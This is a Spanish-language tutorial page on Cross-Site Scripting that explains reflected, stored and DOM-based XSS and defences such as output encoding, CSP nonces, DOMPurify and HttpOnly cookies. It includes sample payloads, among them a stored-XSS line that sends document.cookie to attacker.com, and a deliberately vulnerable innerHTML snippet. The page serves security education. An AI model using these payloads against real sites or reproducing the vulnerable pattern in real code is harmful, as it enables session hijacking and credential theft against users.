LIVE: New phishing campaigns targeting mobile users —View latest threats →

Back to Tutorials
Avanzado 13 min de lectura

Cross-Site Scripting (XSS): ataque y defensa

El XSS permite a los atacantes inyectar scripts maliciosos en páginas web que ven otros usuarios. Aprende sobre el XSS reflejado, almacenado y basado en DOM con ejemplos reales.

15 de enero de 2026

¿Qué es el Cross-Site Scripting?

El Cross-Site Scripting (XSS) es una de las vulnerabilidades más extendidas de la web y ha ocupado un lugar constante en el OWASP Top 10 durante décadas. La idea central es sencilla pero peligrosa: un atacante encuentra la manera de inyectar JavaScript malicioso en una página web que otros usuarios cargarán en sus navegadores. Cuando el navegador de la víctima renderiza esa página, ejecuta el script del atacante con toda la confianza del dominio de origen, lo que significa que puede leer cookies, robar tokens de sesión, realizar peticiones autenticadas, redirigir a los usuarios o registrar silenciosamente las pulsaciones de teclas.

El XSS no es una vulnerabilidad del lado del servidor en el sentido tradicional. El servidor es solo el mecanismo de entrega. El exploit se ejecuta enteramente en el navegador de la víctima.

Los tres tipos de XSS

XSS reflejado

El XSS reflejado ocurre cuando la entrada proporcionada por el usuario se devuelve de inmediato en la respuesta del servidor sin sanitización. El ejemplo clásico es una página de búsqueda:

GET /search?q=<script>alert(document.cookie)</script>

Si el servidor devuelve You searched for: <script>alert(document.cookie)</script> sin codificar los corchetes angulares, el navegador ejecutará ese script. La carga viaja en la URL, lo que significa que el atacante debe hacer llegar la URL a una víctima, normalmente mediante un enlace de phishing. El XSS reflejado es no persistente: el script malicioso no se almacena en ningún sitio, y cada víctima debe hacer clic en el enlace manipulado.

XSS almacenado

El XSS almacenado (o persistente) es mucho más peligroso. La carga se guarda en la base de datos de la aplicación —en un comentario, un nombre de usuario, un campo de perfil o cualquier otra entrada almacenada— y se sirve a todos los usuarios que ven ese contenido. Una única inyección exitosa puede comprometer miles de sesiones sin más interacción del atacante. Las plataformas sociales, los foros y los sistemas de gestión de contenidos son objetivos habituales. Una carga de XSS almacenado podría tener este aspecto:

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Insertada en un campo de comentario, se dispara para cada usuario que ve la página.

XSS basado en DOM

El XSS basado en DOM nunca toca el servidor. La vulnerabilidad existe enteramente en el código JavaScript del lado del cliente que lee de una fuente controlada por el atacante (como location.hash o document.referrer) y escribe en un sumidero peligroso (como innerHTML o eval). Ejemplo:

// Código vulnerable
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

Navegar a page.html#<img src=x onerror=alert(1)> activa la carga. Como la carga nunca abandona el navegador, la codificación de salida del lado del servidor no puede ayudar: debes corregir el propio JavaScript.

Qué pueden hacer los atacantes con el XSS

El XSS no es solo alert(1). Los ataques del mundo real lo usan para:

  • Robar cookies de sesión y secuestrar sesiones autenticadas
  • Capturar credenciales inyectando formularios de inicio de sesión falsos en páginas de confianza
  • Realizar acciones tipo CSRF en nombre de la víctima usando su sesión autenticada
  • Distribuir malware por descarga automática (drive-by) redirigiendo a kits de exploits
  • Minar criptomonedas silenciosamente en segundo plano
  • Registrar pulsaciones de teclas en páginas de banca o comercio electrónico

Defensa: codificación de salida

La defensa principal contra el XSS es la codificación de salida contextual: escapar caracteres antes de insertar datos no confiables en una página HTML. Las reglas de codificación difieren según el contexto:

  • Contexto HTML: codifica <, >, &, ", ' como entidades HTML
  • Contexto JavaScript: codifica en JSON o usa escapes \uXXXX
  • Contexto URL: codifica el valor con codificación porcentual
  • Contexto CSS: evita insertar datos del usuario en bloques de estilo cuando sea posible

Los frameworks modernos como React, Angular y Vue codifican la salida de forma predeterminada. Evita usar API de HTML sin procesar como innerHTML, dangerouslySetInnerHTML o v-html con datos no confiables.

Defensa: Content Security Policy

La Content Security Policy (CSP) es una cabecera de respuesta HTTP que indica al navegador qué fuentes de scripts pueden ejecutarse. Una CSP sólida puede impedir que los scripts inyectados se ejecuten aunque falle la codificación:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'

Usar nonces (tokens aleatorios por petición en las etiquetas de script legítimas) es el enfoque más eficaz. Evita unsafe-inline y unsafe-eval: anulan gran parte del beneficio de la CSP. Prueba tu política en csp-evaluator.withgoogle.com.

Defensa: validación y sanitización de entradas

La validación de entradas debería ser tu segunda línea de defensa, no la primera. Rechaza las entradas que no coincidan con los formatos esperados (por ejemplo, un campo de correo electrónico no debería aceptar etiquetas <script>). Cuando debas permitir entradas de HTML enriquecido (como en un editor WYSIWYG), usa un sanitizador diseñado para ese propósito, como DOMPurify, en lugar de escribir tu propia lista de permitidos: los sanitizadores personalizados son famosos por ser fáciles de eludir.

Establece también la marca HttpOnly en las cookies de sesión para evitar que sean leídas por JavaScript, lo que limita el daño de un exploit XSS exitoso.

Pruebas de XSS

Para encontrar XSS en tus propias aplicaciones:

  1. Mapea cada punto donde la entrada del usuario se refleja o se almacena (parámetros de URL, campos de formulario, cabeceras HTTP, respuestas JSON)
  2. Prueba cada punto con una sonda sencilla como <"'> y observa cómo se codifica la salida
  3. Usa herramientas como Burp Suite, OWASP ZAP o Dalfox para el escaneo automatizado
  4. Comprueba manualmente los sumideros basados en DOM auditando el JavaScript en busca de patrones peligrosos como innerHTML, document.write y eval

Los hallazgos de XSS siempre deberían tratarse como de alta gravedad en los programas de recompensas por errores y en las pruebas de penetración: la capacidad de ejecutar JavaScript arbitrario en el contexto del navegador de una víctima es una primitiva extremadamente potente.

#XSS#web security#JavaScript#OWASP#secure coding